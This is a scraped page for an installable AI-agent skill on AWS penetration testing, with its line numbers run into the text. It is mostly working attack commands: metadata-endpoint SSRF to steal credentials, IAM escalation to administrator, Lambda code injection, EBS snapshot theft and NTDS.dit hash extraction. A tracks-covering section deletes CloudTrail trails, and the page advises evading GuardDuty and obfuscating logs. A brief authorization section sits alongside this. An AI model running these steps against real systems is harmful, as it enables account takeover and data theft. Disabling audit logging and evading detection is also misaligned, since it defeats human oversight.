This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.
Add this skill
npx mdskills install sickn33/aws-penetration-testingComprehensive offensive security guide with detailed techniques, tools, and exploitation paths
1---2name: AWS Penetration Testing3description: This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment.4metadata:5 author: zebbern6 version: "1.1"7---89# AWS Penetration Testing1011## Purpose1213Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.1415## Inputs/Prerequisites1617- AWS CLI configured with credentials18- Valid AWS credentials (even low-privilege)19- Understanding of AWS IAM model20- Python 3, boto3 library21- Tools: Pacu, Prowler, ScoutSuite, SkyArk2223## Outputs/Deliverables2425- IAM privilege escalation paths26- Extracted credentials and secrets27- Compromised EC2/Lambda/S3 resources28- Persistence mechanisms29- Security audit findings3031---3233## Essential Tools3435| Tool | Purpose | Installation |36|------|---------|--------------|37| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |38| SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` |39| Prowler | Security auditing | `pip install prowler` |40| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |41| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |42| Principal Mapper | IAM analysis | `pip install principalmapper` |4344---4546## Core Workflow4748### Step 1: Initial Enumeration4950Identify the compromised identity and permissions:5152```bash53# Check current identity54aws sts get-caller-identity5556# Configure profile57aws configure --profile compromised5859# List access keys60aws iam list-access-keys6162# Enumerate permissions63./enumerate-iam.py --access-key AKIA... --secret-key StF0q...64```6566### Step 2: IAM Enumeration6768```bash69# List all users70aws iam list-users7172# List groups for user73aws iam list-groups-for-user --user-name TARGET_USER7475# List attached policies76aws iam list-attached-user-policies --user-name TARGET_USER7778# List inline policies79aws iam list-user-policies --user-name TARGET_USER8081# Get policy details82aws iam get-policy --policy-arn POLICY_ARN83aws iam get-policy-version --policy-arn POLICY_ARN --version-id v18485# List roles86aws iam list-roles87aws iam list-attached-role-policies --role-name ROLE_NAME88```8990### Step 3: Metadata SSRF (EC2)9192Exploit SSRF to access metadata endpoint (IMDSv1):9394```bash95# Access metadata endpoint96http://169.254.169.254/latest/meta-data/9798# Get IAM role name99http://169.254.169.254/latest/meta-data/iam/security-credentials/100101# Extract temporary credentials102http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME103104# Response contains:105{106 "AccessKeyId": "ASIA...",107 "SecretAccessKey": "...",108 "Token": "...",109 "Expiration": "2019-08-01T05:20:30Z"110}111```112113**For IMDSv2 (token required):**114115```bash116# Get token first117TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \118 "http://169.254.169.254/latest/api/token")119120# Use token for requests121curl -H "X-aws-ec2-metadata-token:$TOKEN" \122 "http://169.254.169.254/latest/meta-data/iam/security-credentials/"123```124125**Fargate Container Credentials:**126127```bash128# Read environment for credential path129/proc/self/environ130# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...131132# Access credentials133http://169.254.170.2/v2/credentials/CREDENTIAL-PATH134```135136---137138## Privilege Escalation Techniques139140### Shadow Admin Permissions141142These permissions are equivalent to administrator:143144| Permission | Exploitation |145|------------|--------------|146| `iam:CreateAccessKey` | Create keys for admin user |147| `iam:CreateLoginProfile` | Set password for any user |148| `iam:AttachUserPolicy` | Attach admin policy to self |149| `iam:PutUserPolicy` | Add inline admin policy |150| `iam:AddUserToGroup` | Add self to admin group |151| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |152| `lambda:UpdateFunctionCode` | Inject code into Lambda |153154### Create Access Key for Another User155156```bash157aws iam create-access-key --user-name target_user158```159160### Attach Admin Policy161162```bash163aws iam attach-user-policy --user-name my_username \164 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess165```166167### Add Inline Admin Policy168169```bash170aws iam put-user-policy --user-name my_username \171 --policy-name admin_policy \172 --policy-document file://admin-policy.json173```174175### Lambda Privilege Escalation176177```python178# code.py - Inject into Lambda function179import boto3180181def lambda_handler(event, context):182 client = boto3.client('iam')183 response = client.attach_user_policy(184 UserName='my_username',185 PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"186 )187 return response188```189190```bash191# Update Lambda code192aws lambda update-function-code --function-name target_function \193 --zip-file fileb://malicious.zip194```195196---197198## S3 Bucket Exploitation199200### Bucket Discovery201202```bash203# Using bucket_finder204./bucket_finder.rb wordlist.txt205./bucket_finder.rb --download --region us-east-1 wordlist.txt206207# Common bucket URL patterns208https://{bucket-name}.s3.amazonaws.com209https://s3.amazonaws.com/{bucket-name}210```211212### Bucket Enumeration213214```bash215# List buckets (with creds)216aws s3 ls217218# List bucket contents219aws s3 ls s3://bucket-name --recursive220221# Download all files222aws s3 sync s3://bucket-name ./local-folder223```224225### Public Bucket Search226227```228https://buckets.grayhatwarfare.com/229```230231---232233## Lambda Exploitation234235```bash236# List Lambda functions237aws lambda list-functions238239# Get function code240aws lambda get-function --function-name FUNCTION_NAME241# Download URL provided in response242243# Invoke function244aws lambda invoke --function-name FUNCTION_NAME output.txt245```246247---248249## SSM Command Execution250251Systems Manager allows command execution on EC2 instances:252253```bash254# List managed instances255aws ssm describe-instance-information256257# Execute command258aws ssm send-command --instance-ids "i-0123456789" \259 --document-name "AWS-RunShellScript" \260 --parameters commands="whoami"261262# Get command output263aws ssm list-command-invocations --command-id "CMD-ID" \264 --details --query "CommandInvocations[].CommandPlugins[].Output"265```266267---268269## EC2 Exploitation270271### Mount EBS Volume272273```bash274# Create snapshot of target volume275aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"276277# Create volume from snapshot278aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a279280# Attach to attacker instance281aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf282283# Mount and access284sudo mkdir /mnt/stolen285sudo mount /dev/xvdf1 /mnt/stolen286```287288### Shadow Copy Attack (Windows DC)289290```bash291# CloudCopy technique292# 1. Create snapshot of DC volume293# 2. Share snapshot with attacker account294# 3. Mount in attacker instance295# 4. Extract NTDS.dit and SYSTEM296secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local297```298299---300301## Console Access from API Keys302303Convert CLI credentials to console access:304305```bash306git clone https://github.com/NetSPI/aws_consoler307aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY308309# Generates signin URL for console access310```311312---313314## Covering Tracks315316### Disable CloudTrail317318```bash319# Delete trail320aws cloudtrail delete-trail --name trail_name321322# Disable global events323aws cloudtrail update-trail --name trail_name \324 --no-include-global-service-events325326# Disable specific region327aws cloudtrail update-trail --name trail_name \328 --no-include-global-service-events --no-is-multi-region-trail329```330331**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.332333---334335## Quick Reference336337| Task | Command |338|------|---------|339| Get identity | `aws sts get-caller-identity` |340| List users | `aws iam list-users` |341| List roles | `aws iam list-roles` |342| List buckets | `aws s3 ls` |343| List EC2 | `aws ec2 describe-instances` |344| List Lambda | `aws lambda list-functions` |345| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |346347---348349## Constraints350351**Must:**352- Obtain written authorization before testing353- Document all actions for audit trail354- Test in scope resources only355356**Must Not:**357- Modify production data without approval358- Leave persistent backdoors without documentation359- Disable security controls permanently360361**Should:**362- Check for IMDSv2 before attempting metadata attacks363- Enumerate thoroughly before exploitation364- Clean up test resources after engagement365366---367368## Examples369370### Example 1: SSRF to Admin371372```bash373# 1. Find SSRF vulnerability in web app374https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/375376# 2. Get role name from response377# 3. Extract credentials378https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole379380# 4. Configure AWS CLI with stolen creds381export AWS_ACCESS_KEY_ID=ASIA...382export AWS_SECRET_ACCESS_KEY=...383export AWS_SESSION_TOKEN=...384385# 5. Verify access386aws sts get-caller-identity387```388389---390391## Troubleshooting392393| Issue | Solution |394|-------|----------|395| Access Denied on all commands | Enumerate permissions with enumerate-iam |396| Metadata endpoint blocked | Check for IMDSv2, try container metadata |397| GuardDuty alerts | Use Pacu with custom user-agent |398| Expired credentials | Re-fetch from metadata (temp creds rotate) |399| CloudTrail logging actions | Consider disable or log obfuscation |400401---402403## Additional Resources404405For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).406
Full transparency — inspect the skill content before installing.